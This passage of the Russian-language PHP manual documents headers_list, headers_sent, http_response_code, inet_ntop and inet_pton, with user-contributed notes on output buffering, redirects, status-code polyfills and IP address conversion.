  [2]=>
  string(39) "Content-Type: text/plain; CHARSET=Windows-1251"
}

Примечания

Замечание:

Доступ к заголовкам и их вывод будет осуществляться только в случае, если в используемом вами SAPI есть их поддержка.

Смотрите также

  • headers_sent() - Проверяет, были ли отправлены заголовки
  • header() - Отправка HTTP-заголовка
  • setcookie() - Отправляет cookie
  • apache_response_headers() - Возвращает список всех HTTP-заголовков ответа Apache
  • http_response_code() - Получает или устанавливает код ответа HTTP

User Contributed Notes

arnold at jasny dot net 26-Jan-2017 04:31
This function won't work for when you're running PHP from the command line. If will always return an empty array. This can be an issue when testing your project using PHPUnit or Codeception.

To solve this, install the xdebug extension and use `xdebug_get_headers` when on the cli.

<?php
$headers = php_sapi_name() === 'cli' ? xdebug_get_headers() : headers_list();
?>
Anonymous 11-Oct-2012 12:50
note that it does not return the status header

<?php

header('HTTP/1.1 301 Moved Permanently', true, 301);

header('foo: bar');
header('a: b');
header('colon less example');

print_r(headers_list());
?>

Array
(
    [0] => X-Powered-By: PHP/5.4.7
    [1] => foo: bar
    [2] => a: b
)
SOLO2 13-Jul-2012 04:00
Function to check if a particular header has been added to the list:

<?php

function header_sent($header) {
    $headers = headers_list();
    $header = trim($header,': ');
    $result = false;

    foreach ($headers as $hdr) {
        if (stripos($hdr, $header) !== false) {
            $result = true;
        }
    }

    return $result;
}

?>


Проверяет, были ли отправлены заголовки

  • « headers_list
  • http_response_code »
  • PHP Manual
  • Сетевые функции
  • Проверяет, были ли отправлены заголовки

headers_sent

(PHP 4, PHP 5, PHP 7, PHP 8)

headers_sent — Проверяет, были ли отправлены заголовки

Описание

headers_sent(string &$filename = null, int &$line = null): bool

Проверяет, были ли отправлены заголовки.

Нельзя отправить дополнительные строки заголовков, используя функцию header(), если заголовки уже отправлены. Используя эту функцию, можно предупредить ошибки, связанные с HTTP-заголовками. Другим вариантом является использование буферизации вывода.

Список параметров

filename

Если заданы дополнительные параметры filename и line, то функция headers_sent() поместит имя исходного файла PHP и номер строки, с которой начинается вывод в переменные filename и line.

Замечание:

Если вывод начался до выполнения исходного файла PHP (например, из-за ошибки запуска), параметр filename будет установлен как пустая строка.

line

Номер строки, с которой начинается вывод.

Возвращаемые значения

Функция headers_sent() вернёт false, если HTTP-заголовки не были отправлены, либо true если отправлены.

Примеры

Пример #1 Пример использования headers_sent()

<?php

// Если не было отправлено ни одного заголовка, то отправить один
if (!headers_sent()) {
header('Location: http://www.example.com/');
exit;
}

// Пример использования необязательных параметров file и line.
// Необходимо отметить, что $filename и $linenum передаются для дальнейшего использования.
// Не присваивайте им значения заранее.
if (!headers_sent($filename, $linenum)) {
header('Location: http://www.example.com/');
exit;

// Скорее всего, ошибка будет происходит здесь.
} else {

echo "Заголовки уже были отправлены в $filename в строке $linenum\n" .
"Невозможно перенаправить, пожалуйста, передите по этой <a " .
"href=\"http://www.example.com\">ссылке</a>\n";
exit;
}

?>

Примечания

Замечание:

Доступ к заголовкам и их вывод будет осуществляться только в случае, если в используемом вами SAPI есть их поддержка.

Смотрите также

  • ob_start() - Включение буферизации вывода
  • trigger_error() - Вызывает пользовательскую ошибку/предупреждение/уведомление
  • headers_list() - Возвращает список переданных заголовков (или готовых к отправке)
  • Смотрите информацию по функции header() - Отправка HTTP-заголовка для более детальной информации.

User Contributed Notes

rojasredes at gmail dot com 04-Jun-2018 01:59
Remember to save source code file *.php with UTF-8 without BOM.
If saved with UTF-8 BOM the next code allways return "true":

<?php
if headers_sent($source,$numline)
{
    die("true");
}
else
{
    die("false");
}
?>

Even when $numline is 1, and there is any character before <?php
and after ?>

Save file without BOM and everything will be ok, then.
szczepan.krol[et]gmail[*]com 21-Oct-2010 02:10
Here a function to check also if any other outout is already sent:
<?php

function output_send(){
    if (!headers_sent() && error_get_last()==NULL ) {
        return false;

    }
    return true;
}
?>
Jase 08-Apr-2009 06:42
This is becoming annoying the amount of posts to try and describe the behaviour of headers

Headers appear first in the data sent to the user's browser

if headers have been called using the header() function but no data has been sent to the output buffer (using echo, readfile etc), then the headers are sent at the end of script execution otherwise they are sent when the buffer reaches it's limit and emptied

simple

this means that headers_sent() will return false if nothing is sent to the output buffer because the headers are being sent at the end of the script

This is not a bug either, this is expected behaviour. Keeping headers until forced to send them out is a good idea because certain measures can be taken like prevention of meta injection etc (option in header() to replace headers that have not yet been sent)

besides, headers_sent() is good for when you try and send headers but the output buffer has already been emptied (in cases of php error handling for example). Obviously if the buffer has emtpied, sending headers won't work.
yesmarklapointe at hotmail dot com 21-Oct-2008 06:07
I was having trouble getting my mind around the concepts involved. Here is my dilemma and the conclusion I reached in case recounting them can help others:

I am using WAMPserver: PHP 5.2.6, and Apache 2.2.8 on Windows XP SP3. If it matters to your duplication,
I found two php.ini files in WAMPserver where output_buffering had been set to 4096. I changed them to OFF for this testing.

Here is how you can replicate what I am experiencing: With IE 7.0 go to Tools ... Display ieHTTPheaders ... and run the following script repeatedly and watch what happens:

<?php
header( 'Expires: Mon, 26 Jul 1998 05:00:00 GMT' );
//var_dump(headers_sent());
//print("whatever");
//flush();
//echo "whatever";
var_dump(headers_sent());
?>

Result: the final var_dump of the headers_sent() function will
always return FALSE unless any one or  more of the commented lines above it are uncommented. Uncommenting the statements allows an output to be sent to the user not just to their browser, after which the final var_dump will return TRUE. What I found confusing was that the ieHTTPheaders tool shows that the header is being sent to the user's browser even when all the output lines are commented out. So why does headers_sent() return FALSE in this case? Because you can keep sending other headers. The headers_sent function is meant to alert one to when no further headers can be sent. My testing shows it does not return true unless some other output is also sent after the header, thereby signaling that  "Headers have been sent and concluded with user output. NOW you can't send any more headers."

Someone else worked his way through this problem in a (false) bug report: http://bugs.php.net/bug.php?id=30264
Here is the relevant part of the reply from the pro:
"When you use compression the entire page is buffered in memory, until end of the request. Consequently you can send headers at any time because no data is being actually sent to user when you print it. Until PHP actually decides to send any page output to the user you can still send additional headers which is why the headers_sent() function is returning false. It will return true, indicating that headers have been sent  only at a time when output began going to the user and you no longer can send any additional headers."

So in summary, my point is that there is a difference between headers being sent only to the browser (which can be followed by other headers) vs. headers being sent and concluded by output for the user. The function should have been given a more clear name like headers_concluded().
loaded67 at hotmail dot com 17-Feb-2008 10:54
very handy function!

When working with GD I made something like:

<?php
class image{

    /**
     * show
     * sends image to browser and destroy the resource if headers not sent.
     * use php constants IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG
     *
     * @final
     * @static
     * @access public
     * @param resource $resource
     * @param int $type
     */
    final static public function show($resource, $type){
        if(!headers_sent()){
            header('Cache-control: private');
            switch($type){
                case IMAGETYPE_GIF :    header('Content-type: image/gif');
                                        header('Content-Disposition: filename='.basename(__FILE__).'.gif');
                                        imagegif($resource);
                                        break;
                case IMAGETYPE_JPEG :     header('Content-type: image/jpeg');
                                        header('Content-Disposition: filename='.basename(__FILE__).'.jpg');
                                        imagejpeg($resource, NULL, 99);
                        break;
                case IMAGETYPE_PNG :     header('Content-type: image/png');
                                        header('Content-Disposition: filename='.basename(__FILE__).'.png');
                                        imagepng($resource, NULL, 0,  NULL);
                        break;
            }
            imagedestroy($resource);
            exit;
        }
    }
}
?>

This way if you are debugging... and flush output... you will not get the endless list of headers allready send errors...

Hope it's helpfull... ;)
vasnake at gmail dot com 22-Jul-2007 03:55
In my case, when I install PHP 5.2.1 in CGI mode under Apache 2.2.3 (on windows 2003 SP2),
function sent_headers() always return false. flash(), ob_end_flash(), so on... no matter.
I suppose, Apache buffering all PHP output until exit()
collectours at free dot fr 18-Jun-2007 02:32
In response to K.Tomono and alexrussell101 at gmail dot com :

Yes,
headers_sent() will return false, even if you sent something to the ouptut using print() or header() , if output_buffering is different from Off in you php.ini, and the length of what you sent does not exceed the size of output_buffering.

To test it, try this code with  these values in php.ini
1) output_buffering=32
2) output buffering = 4096

[code]
<?php
    echo "Yo<br />";
    echo "Sent:",headers_sent(),"<br />";
    echo "enough text to feed the buffer until it overflows ;-)<br />";
    echo "Sent:",headers_sent(),"<br />";
?>
[/code]

then put
3) output buffering = Off
and try this code
[code]
<?php
    echo "Yo<br />";
    echo "Sent:",headers_sent(),"<br />";
?>
[/code]
which will this time unconditionnally say that headers were sent.

This is noticed in php.ini comment :
"Output buffering allows you to send header lines (including cookies) even after you send body content, in the price of slowing PHP's output layer a bit."

Note : This is completly independant of implicit_flush tuning.
Jakob B. 07-Jan-2006 03:03
<?php
function redirect($filename) {
    if (!headers_sent())
        header('Location: '.$filename);
    else {
        echo '<script type="text/javascript">';
        echo 'window.location.href="'.$filename.'";';
        echo '</script>';
        echo '<noscript>';
        echo '<meta http-equiv="refresh" content="0;url='.$filename.'" />';
        echo '</noscript>';
    }
}
redirect('http://www.google.com');
?>
trevize (shtrudel) gmail.com 30-Nov-2005 06:43
Note that in IIS (or at least the version that comes with W2K server), the server seems to do some buffering, so even if you output someting or cause a warning, the value of headers_sent() may be false because the headers haven't been sent yet.

So it's not a safe way to know if warnings have been encountered in your script.
Terry 10-Feb-2005 07:58
For programmers used to Perl, note that sending a relative 'Location:' header sends a redirect to the browser in PHP, unlike Perl which will attempt to call relative URLs using an internal subrequest and return that page to the browser without redirecting.  If you want to do the same trick in PHP, use include() or virtual().
php at fufachew dot REMOVEME dot com 28-Feb-2004 11:26
RE: antti at haapakangas dot net's post

I've changed the code so $_SERVER['SERVER_NAME'] is used if $_SERVER['HTTP_HOST'] is not set.  $_SERVER['SERVER_NAME'] doesn't meet my needs, but I suppose it's good to fall back on it.  I've also fixed a problem in the meta refresh line - it was missing the "url=" part of the content attribute.

<?php
function server_url()
{
    $proto = "http" .
        ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == "on") ? "s" : "") . "://";
    $server = isset($_SERVER['HTTP_HOST']) ?
        $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
    return $proto . $server;
}

function redirect_rel($relative_url)
{
    $url = server_url() . dirname($_SERVER['PHP_SELF']) . "/" . $relative_url;
    if (!headers_sent())
    {
        header("Location: $url");
    }
    else
    {
        echo "<meta http-equiv=\"refresh\" content=\"0;url=$url\">\r\n";
    }
}
?>
antti at haapakangas dot net 28-Jan-2004 12:39
Re: php at fufachew dot com

That's a nice example how to implement Location header in a correct way (using absoluteURI). 95% of the scripts I have seen just use relativeURI which is wrong. Some browsers, for example lynx, actually notify user about incomplete Location headers. However it might be safer to use $_SERVER['SERVER_NAME'] instead of $_SERVER['HTTP_HOST']. Host header is a HTTP/1.1 feature and you can not count on that if you want to be interoperable with HTTP/1.0 implementations.


Получает или устанавливает код ответа HTTP

  • « headers_sent
  • inet_ntop »
  • PHP Manual
  • Сетевые функции
  • Получает или устанавливает код ответа HTTP

http_response_code

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

http_response_code — Получает или устанавливает код ответа HTTP

Описание

http_response_code(int $response_code = 0): int|bool

Получает или задаёт коды ответов HTTP.

Список параметров

response_code

Код ответа устанавливается с помощью опционального параметра response_code.

Возвращаемые значения

Если response_code задан, то будет возвращён предыдущий код статуса. Если response_code не задан, то будет возвращён текущий код статуса. Оба этих значения будут по умолчанию иметь код состояния 200, если они используются в окружении веб-сервера.

Если response_code не задан и используется не в окружении веб-сервера (например, в CLI), то будет возвращено false. Если response_code задан и используется не в окружении веб-сервера, то будет возвращено true (но только если не был установлен предыдущий код статуса).

Примеры

Пример #1 Использование http_response_code() в окружении веб-сервера

<?php

// Берём текущий код и устанавливаем новый
var_dump(http_response_code(404));

// Берём новый код
var_dump(http_response_code());
?>

Результат выполнения данного примера:

int(200)
int(404)

Пример #2 Использование http_response_code() в CLI

<?php

// Берём текущий код по умолчанию
var_dump(http_response_code());

// Устанавливаем код
var_dump(http_response_code(201));

// Берём новый код
var_dump(http_response_code());
?>

Результат выполнения данного примера:

bool(false)
bool(true)
int(201)

Смотрите также

  • header() - Отправка HTTP-заголовка
  • headers_list() - Возвращает список переданных заголовков (или готовых к отправке)

User Contributed Notes

viaujoc at videotron dot ca 24-Nov-2020 12:53
Do not mix the use of http_response_code() and manually setting  the response code header because the actual HTTP status code being returned by the web server may not end up as expected. http_response_code() does not work if the response code has previously been set using the header() function. Example:

<?php
header('HTTP/1.1 401 Unauthorized');
http_response_code(403);
print(http_response_code());
?>

The raw HTTP response will be (notice the actual status code on the first line does not match the printed http_response_code in the body):

HTTP/1.1 401 Unauthorized
Date: Tue, 24 Nov 2020 13:49:08 GMT
Server: Apache
Connection: Upgrade, Keep-Alive
Keep-Alive: timeout=5, max=100
Transfer-Encoding: chunked
Content-Type: text/html; CHARSET=Windows-1251

403

I only tested it on Apache. I am not sure if this behavior is specific to Apache or common to all PHP distributions.
divinity76 at gmail dot com 09-Apr-2020 08:33
if you need a response code not supported by http_response_code(), such as WebDAV / RFC4918's "HTTP 507 Insufficient Storage", try:

<?php
header($_SERVER['SERVER_PROTOCOL'] . ' 507 Insufficient Storage');
?>
result: something like

HTTP/1.1 507 Insufficient Storage
Anonymous 08-Jun-2018 09:16
http_response_code() does not actually send HTTP headers, it only prepares the header list to be sent later on.
So you can call http_reponse_code() to set, get and reset the HTTP response code before it gets sent.

Test code:
<php
http_response_code(500);  // set the code
var_dump(headers_sent());  // check if headers are sent
http_response_code(200);  // avoid a default browser page
Chandra Nakka 06-Aug-2017 02:41
On PHP 5.3 version, If you want to set HTTP response code. You can try this type of below trick :)

<?php

header('Temporary-Header: True', true, 404);
header_remove('Temporary-Header');

?>
divinity76 at gmail dot com 28-Nov-2016 02:53
warning, it does not check if headers are already sent (if it is, it won't *actually* change the code, but a subsequent call will imply that it did!!),

you might wanna do something like
function ehttp_response_code(int $response_code = NULL): int {
    if ($response_code === NULL) {
        return\ http_response_code();
    }
    if (\headers_sent()) {
        throw new\ Exception('tried to change http response code after sending headers!');
    }
    return\ http_response_code($response_code);
}
Kubo2 19-Mar-2016 10:18
If you want to set a HTTP response code without the need of specifying a protocol version, you can actually do it without http_response_code():

<?php

header('Status: 404', TRUE, 404);

?>
Thomas A. P. 03-Nov-2015 12:46
When setting the response code to non-standard ones like 420, Apache outputs 500 Internal Server Error.

This happens when using header(0,0,420) and http_response_code(420).
Use header('HTTP/1.1 420 Enhance Your Calm') instead.

Note that the response code in the string IS interpreted and used in the access log and output via http_response_code().
zweibieren at yahoo dot com 27-Apr-2015 01:30
The limited list given by Stefan W is out of date. I have just tested 301 and 302 and both work.
Steven 15-Mar-2015 01:12
http_response_code is basically a shorthand way of writing a http status header, with the added bonus that PHP will work out a suitable Reason Phrase to provide by matching your response code to one of the values in an enumeration it maintains within php-src/main/http_status_codes.h. Note that this means your response code must match a response code that PHP knows about. You can't create your own response codes using this method, however you can using the header method.

In summary - The differences between "http_response_code" and "header" for setting response codes:

1. Using http_response_code will cause PHP to match and apply a Reason Phrase from a list of Reason Phrases that are hard-coded into the PHP source code.

2. Because of point 1 above, if you use http_response_code you must set a code that PHP knows about. You can't set your own custom code, however you can set a custom code (and Reason Phrase) if you use the header method.
yefremov {dot} sasha () gmail {dot} com 20-Jan-2015 04:59
@craig at craigfrancis dot co dot uk@ wrote the function that replaces the original. It is very usefull, but has a bug. The original http_response_code always returns the previous or current code, not the code you are setting now. Here is my fixed version. I also use $GLOBALS to store the current code, but trigger_error() instead of exit. So now, how the function will behave in the case of error lies on the error handler. Or you can change it back to exit().

if (!function_exists('http_response_code')) {
    function http_response_code($code = NULL) {
        $prev_code = (isset($GLOBALS['http_response_code']) ? $GLOBALS['http_response_code'] : 200);

        if ($code === NULL) {
            return $prev_code;
        }

        switch ($code) {
            case 100: $text = 'Continue'; break;
            case 101: $text = 'Switching Protocols'; break;
            case 200: $text = 'OK'; break;
            case 201: $text = 'Created'; break;
            case 202: $text = 'Accepted'; break;
            case 203: $text = 'Non-Authoritative Information'; break;
            case 204: $text = 'No Content'; break;
            case 205: $text = 'Reset Content'; break;
            case 206: $text = 'Partial Content'; break;
            case 300: $text = 'Multiple Choices'; break;
            case 301: $text = 'Moved Permanently'; break;
            case 302: $text = 'Moved Temporarily'; break;
            case 303: $text = 'See Other'; break;
            case 304: $text = 'Not Modified'; break;
            case 305: $text = 'Use Proxy'; break;
            case 400: $text = 'Bad Request'; break;
            case 401: $text = 'Unauthorized'; break;
            case 402: $text = 'Payment Required'; break;
            case 403: $text = 'Forbidden'; break;
            case 404: $text = 'Not Found'; break;
            case 405: $text = 'Method Not Allowed'; break;
            case 406: $text = 'Not Acceptable'; break;
            case 407: $text = 'Proxy Authentication Required'; break;
            case 408: $text = 'Request Time-out'; break;
            case 409: $text = 'Conflict'; break;
            case 410: $text = 'Gone'; break;
            case 411: $text = 'Length Required'; break;
            case 412: $text = 'Precondition Failed'; break;
            case 413: $text = 'Request Entity Too Large'; break;
            case 414: $text = 'Request-URI Too Large'; break;
            case 415: $text = 'Unsupported Media Type'; break;
            case 500: $text = 'Internal Server Error'; break;
            case 501: $text = 'Not Implemented'; break;
            case 502: $text = 'Bad Gateway'; break;
            case 503: $text = 'Service Unavailable'; break;
            case 504: $text = 'Gateway Time-out'; break;
            case 505: $text = 'HTTP Version not supported'; break;
            default:
                trigger_error('Unknown http status code ' . $code, E_USER_ERROR); // exit('Unknown http status code "' . htmlentities($code) . '"');
                return $prev_code;
        }

        $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0');
        header($protocol . ' ' . $code . ' ' . $text);
        $GLOBALS['http_response_code'] = $code;

        // original function always returns the previous or current code
        return $prev_code;
    }
}
Stefan W 10-May-2014 02:55
Note that you can NOT set arbitrary response codes with this function, only those that are known to PHP (or the SAPI PHP is running on).

The following codes currently work as expected (with PHP running as Apache module):
200 - 208, 226
300 - 305, 307, 308
400 - 417, 422 - 424, 426, 428 - 429, 431
500 - 508, 510 - 511

Codes 0, 100, 101, and 102 will be sent as "200 OK".

Everything else will result in "500 Internal Server Error".

If you want to send responses with a freestyle status line, you need to use the `header()` function:

<?php header("HTTP/1.0 418 I'm A Teapot"); ?>
Anonymous 08-Mar-2014 07:23
You can also create a enum by extending the SplEnum class.
<?php

/** HTTP status codes */
class HttpStatusCode extends SplEnum {
    const __default = self::OK;

    const SWITCHING_PROTOCOLS = 101;
    const OK = 200;
    const CREATED = 201;
    const ACCEPTED = 202;
    const NONAUTHORITATIVE_INFORMATION = 203;
    const NO_CONTENT = 204;
    const RESET_CONTENT = 205;
    const PARTIAL_CONTENT = 206;
    const MULTIPLE_CHOICES = 300;
    const MOVED_PERMANENTLY = 301;
    const MOVED_TEMPORARILY = 302;
    const SEE_OTHER = 303;
    const NOT_MODIFIED = 304;
    const USE_PROXY = 305;
    const BAD_REQUEST = 400;
    const UNAUTHORIZED = 401;
    const PAYMENT_REQUIRED = 402;
    const FORBIDDEN = 403;
    const NOT_FOUND = 404;
    const METHOD_NOT_ALLOWED = 405;
    const NOT_ACCEPTABLE = 406;
    const PROXY_AUTHENTICATION_REQUIRED = 407;
    const REQUEST_TIMEOUT = 408;
    const CONFLICT = 408;
    const GONE = 410;
    const LENGTH_REQUIRED = 411;
    const PRECONDITION_FAILED = 412;
    const REQUEST_ENTITY_TOO_LARGE = 413;
    const REQUESTURI_TOO_LARGE = 414;
    const UNSUPPORTED_MEDIA_TYPE = 415;
    const REQUESTED_RANGE_NOT_SATISFIABLE = 416;
    const EXPECTATION_FAILED = 417;
    const IM_A_TEAPOT = 418;
    const INTERNAL_SERVER_ERROR = 500;
    const NOT_IMPLEMENTED = 501;
    const BAD_GATEWAY = 502;
    const SERVICE_UNAVAILABLE = 503;
    const GATEWAY_TIMEOUT = 504;
    const HTTP_VERSION_NOT_SUPPORTED = 505;
}
stephen at bobs-bits dot com 03-Mar-2014 07:44
It's not mentioned explicitly, but the return value when SETTING, is the OLD status code.
e.g.
<?php

$a = http_response_code();
$b = http_response_code(202);
$c = http_response_code();

var_dump($a, $b, $c);

// Result:
// int(200)
// int(200)
// int(202)
?>
Anonymous 24-Aug-2013 01:44
Status codes as an array:

<?php
$http_status_codes = array(100 => "Continue", 101 => "Switching Protocols", 102 => "Processing", 200 => "OK", 201 => "Created", 202 => "Accepted", 203 => "Non-Authoritative Information", 204 => "No Content", 205 => "Reset Content", 206 => "Partial Content", 207 => "Multi-Status", 300 => "Multiple Choices", 301 => "Moved Permanently", 302 => "Found", 303 => "See Other", 304 => "Not Modified", 305 => "Use Proxy", 306 => "(Unused)", 307 => "Temporary Redirect", 308 => "Permanent Redirect", 400 => "Bad Request", 401 => "Unauthorized", 402 => "Payment Required", 403 => "Forbidden", 404 => "Not Found", 405 => "Method Not Allowed", 406 => "Not Acceptable", 407 => "Proxy Authentication Required", 408 => "Request Timeout", 409 => "Conflict", 410 => "Gone", 411 => "Length Required", 412 => "Precondition Failed", 413 => "Request Entity Too Large", 414 => "Request-URI Too Long", 415 => "Unsupported Media Type", 416 => "Requested Range Not Satisfiable", 417 => "Expectation Failed", 418 => "I'm a teapot", 419 => "Authentication Timeout", 420 => "Enhance Your Calm", 422 => "Unprocessable Entity", 423 => "Locked", 424 => "Failed Dependency", 424 => "Method Failure", 425 => "Unordered Collection", 426 => "Upgrade Required", 428 => "Precondition Required", 429 => "Too Many Requests", 431 => "Request Header Fields Too Large", 444 => "No Response", 449 => "Retry With", 450 => "Blocked by Windows Parental Controls", 451 => "Unavailable For Legal Reasons", 494 => "Request Header Too Large", 495 => "Cert Error", 496 => "No Cert", 497 => "HTTP to HTTPS", 499 => "Client Closed Request", 500 => "Internal Server Error", 501 => "Not Implemented", 502 => "Bad Gateway", 503 => "Service Unavailable", 504 => "Gateway Timeout", 505 => "HTTP Version Not Supported", 506 => "Variant Also Negotiates", 507 => "Insufficient Storage", 508 => "Loop Detected", 509 => "Bandwidth Limit Exceeded", 510 => "Not Extended", 511 => "Network Authentication Required", 598 => "Network read timeout error", 599 => "Network connect timeout error");
?>

Source: Wikipedia "List_of_HTTP_status_codes"
Richard F. 15-Jun-2013 10:19
At least on my side with php-fpm and nginx this method does not change the text in the response, only the code.

<?php

// HTTP/1.1 404 Not Found
http_response_code(404);

?>

The resulting response is HTTP/1.1 404 OK
Rob Zazueta 09-May-2013 04:43
The note above from "Anonymous" is wrong. I'm running this behind the AWS Elastic Loadbalancer and trying the header(':'.$error_code...) method mentioned above is treated as invalid HTTP.

The documentation for the header() function has the right way to implement this if you're still on < php 5.4:

<?php
header("HTTP/1.0 404 Not Found");
?>
Anonymous 17-Jul-2012 11:35
If you don't have PHP 5.4 and want to change the returned status code, you can simply write:
<?php
header(':', true, $statusCode);
?>

The ':' are mandatory, or it won't work
craig at craigfrancis dot co dot uk 25-Jan-2012 04:38
If your version of PHP does not include this function:

<?php

    if (!function_exists('http_response_code')) {
        function http_response_code($code = NULL) {

            if ($code !== NULL) {

                switch ($code) {
                    case 100: $text = 'Continue'; break;
                    case 101: $text = 'Switching Protocols'; break;
                    case 200: $text = 'OK'; break;
                    case 201: $text = 'Created'; break;
                    case 202: $text = 'Accepted'; break;
                    case 203: $text = 'Non-Authoritative Information'; break;
                    case 204: $text = 'No Content'; break;
                    case 205: $text = 'Reset Content'; break;
                    case 206: $text = 'Partial Content'; break;
                    case 300: $text = 'Multiple Choices'; break;
                    case 301: $text = 'Moved Permanently'; break;
                    case 302: $text = 'Moved Temporarily'; break;
                    case 303: $text = 'See Other'; break;
                    case 304: $text = 'Not Modified'; break;
                    case 305: $text = 'Use Proxy'; break;
                    case 400: $text = 'Bad Request'; break;
                    case 401: $text = 'Unauthorized'; break;
                    case 402: $text = 'Payment Required'; break;
                    case 403: $text = 'Forbidden'; break;
                    case 404: $text = 'Not Found'; break;
                    case 405: $text = 'Method Not Allowed'; break;
                    case 406: $text = 'Not Acceptable'; break;
                    case 407: $text = 'Proxy Authentication Required'; break;
                    case 408: $text = 'Request Time-out'; break;
                    case 409: $text = 'Conflict'; break;
                    case 410: $text = 'Gone'; break;
                    case 411: $text = 'Length Required'; break;
                    case 412: $text = 'Precondition Failed'; break;
                    case 413: $text = 'Request Entity Too Large'; break;
                    case 414: $text = 'Request-URI Too Large'; break;
                    case 415: $text = 'Unsupported Media Type'; break;
                    case 500: $text = 'Internal Server Error'; break;
                    case 501: $text = 'Not Implemented'; break;
                    case 502: $text = 'Bad Gateway'; break;
                    case 503: $text = 'Service Unavailable'; break;
                    case 504: $text = 'Gateway Time-out'; break;
                    case 505: $text = 'HTTP Version not supported'; break;
                    default:
                        exit('Unknown http status code "' . htmlentities($code) . '"');
                    break;
                }

                $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0');

                header($protocol . ' ' . $code . ' ' . $text);

                $GLOBALS['http_response_code'] = $code;

            } else {

                $code = (isset($GLOBALS['http_response_code']) ? $GLOBALS['http_response_code'] : 200);

            }

            return $code;

        }
    }

?>

In this example I am using $GLOBALS, but you can use whatever storage mechanism you like... I don't think there is a way to return the current status code:

https://bugs.php.net/bug.php?id=52555

For reference the error codes I got from PHP's source code:

http://lxr.php.net/opengrok/xref/PHP_5_4/sapi/cgi/cgi_main.c#354

And how the current http header is sent, with the variables it uses:

http://lxr.php.net/opengrok/xref/PHP_5_4/main/SAPI.c#856


Конвертирует упакованный интернет-адрес в читаемый формат

  • « http_response_code
  • inet_pton »
  • PHP Manual
  • Сетевые функции
  • Конвертирует упакованный интернет-адрес в читаемый формат

inet_ntop

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

inet_ntop — Конвертирует упакованный интернет-адрес в читаемый формат

Описание

inet_ntop(string $ip): string|false

Эта функция конвертирует 32-битный IPv4 или 128-битный IPv6-адрес (если PHP был собран с поддержкой IPv6) в соответствующее строковое представление адреса.

Список параметров

ip

32-битный IPv4-адрес или 128-битный IPv6-адрес.

Возвращаемые значения

Возвращает строковое представление адреса или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования inet_ntop()

<?php
$packed = chr(127) . chr(0) . chr(0) . chr(1);
$expanded = inet_ntop($packed);

/* Выведет: 127.0.0.1 */
echo $expanded;

$packed = str_repeat(chr(0), 15) . chr(1);
$expanded = inet_ntop($packed);

/* Выведет: ::1 */
echo $expanded;
?>

Смотрите также

  • long2ip() - Конвертирует целое число в IPv4-адрес
  • ip2long() - Конвертирует строку, содержащую IPv4-адрес в целое число
  • inet_pton() - Конвертирует читаемый IP-адрес в его упакованное представление in_addr

User Contributed Notes

marcus at synchromedia dot co dot uk 03-Jun-2015 04:27
PHP's inet_ntop function is not compatible with the binary representation used by MySQL's INET6_ATON function, assuming you are using the recommended method of storing both IPv4 and IPv6 addresses in a VARBINARY(16) field. You need to convert it like this:

/**
 * Convert a MySQL binary v4 (4-byte) or v6 (16-byte) IP address to a printable string.
 * @param string $ip A binary string containing an IP address, as returned from MySQL's INET6_ATON function
 * @return string Empty if not valid.
 */
function inet6_ntop($ip) {
    $l = strlen($ip);
    if ($l == 4 or $l == 16) {
        return inet_ntop(pack('A' . $l, $ip));
    }
    return '';
}

You don't need a function going the other way because MySQL's INET6_NTOA is already compatible with PHP's inet_pton function.
PandoraBox2007 at gmail dot com 03-Dec-2011 09:05
Before inet_pton nice work
//2001:0db8:85a3:0000:0000:8a2e:0370:7334

After
//2001:db8:85a3::8a2e:370:7334

no need compare compress data
string inet_ntop ( string $in_addr [, bool $compress = false] )

---
ryansun81 at gmail dot com 27-May-2010 03:11
For people who wondering what the meaning of this function name:
pton: a presentation(printable) format address to network address
ntop: a network address to presentation(printable) format address
MagicalTux at FF dot st 04-May-2005 04:43
For people who need this function but don't have it, I could write a function which should give almost the same result.

<?php
function my_inet_ntop($ip) {
    if (strlen($ip)==4) {
        // ipv4
        list(,$ip)=unpack('N',$ip);
        $ip=long2ip($ip);
    } elseif(strlen($ip)==16) {
        // ipv6
        $ip=bin2hex($ip);
        $ip=substr(chunk_split($ip,4,':'),0,-1);
        $ip=explode(':',$ip);
        $res='';
        foreach($ip as $seg) {
            while($seg{0}=='0') $seg=substr($seg,1);
            if ($seg!='') {
                $res.=($res==''?'':':').$seg;
            } else {
                if (strpos($res,'::')===false) {
                    if (substr($res,-1)==':') continue;
                    $res.=':';
                    continue;
                }
                $res.=($res==''?'':':').'0';
            }
        }
        $ip=$res;
    }
    return $ip;
}
?>

I followed IPv6 reprenstation rules :
- A series of "0"s in a 16bit block can by represented by "0".
- A series of blocks containing only "0"s can be suppressed and represented by "::" (this can be done only once)

(source : http://www.ipv6style.jp/en/faq/latest.shtml#2003022112 )

Example:
<?php
$packed = str_repeat(chr(0), 15) . chr(1);
$expanded = my_inet_ntop($packed);

/* Outputs: ::1 */
echo $expanded;
?>

I checked in CVS (2005-04-25) and didn't find the inet_ntop function (I really needed to handle IPv6) so I implemented it myself !


Конвертирует читаемый IP-адрес в его упакованное представление in_addr

  • « inet_ntop
  • ip2long »
  • PHP Manual
  • Сетевые функции
  • Конвертирует читаемый IP-адрес в его упакованное представление in_addr

inet_pton

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

inet_pton — Конвертирует читаемый IP-адрес в его упакованное представление in_addr

Описание

inet_pton(string $ip): string|false

Эта функция конвертирует читаемый IPv4- или IPv6-адрес (если PHP был собран с поддержкой IPv6) в адрес, соответствующий 32-битной или 128-битной бинарной структуре.

Список параметров

ip

Читаемый IPv4- или IPv6-адрес.

Возвращаемые значения

Возвращает представление in_addr заданного в параметре ip адреса, или false если задан синтаксически неверный ip (к примеру, IPv4-адрес без точек или IPv6-адрес без двоеточий).

Примеры

Пример #1 Пример использования inet_pton()

<?php
$in_addr = inet_pton('127.0.0.1');

$in6_addr = inet_pton('::1');
?>

Смотрите также

  • ip2long() - Конвертирует строку, содержащую IPv4-адрес в целое число
  • long2ip() - Конвертирует целое число в IPv4-адрес
  • inet_ntop() - Конвертирует упакованный интернет-адрес в читаемый формат

User Contributed Notes

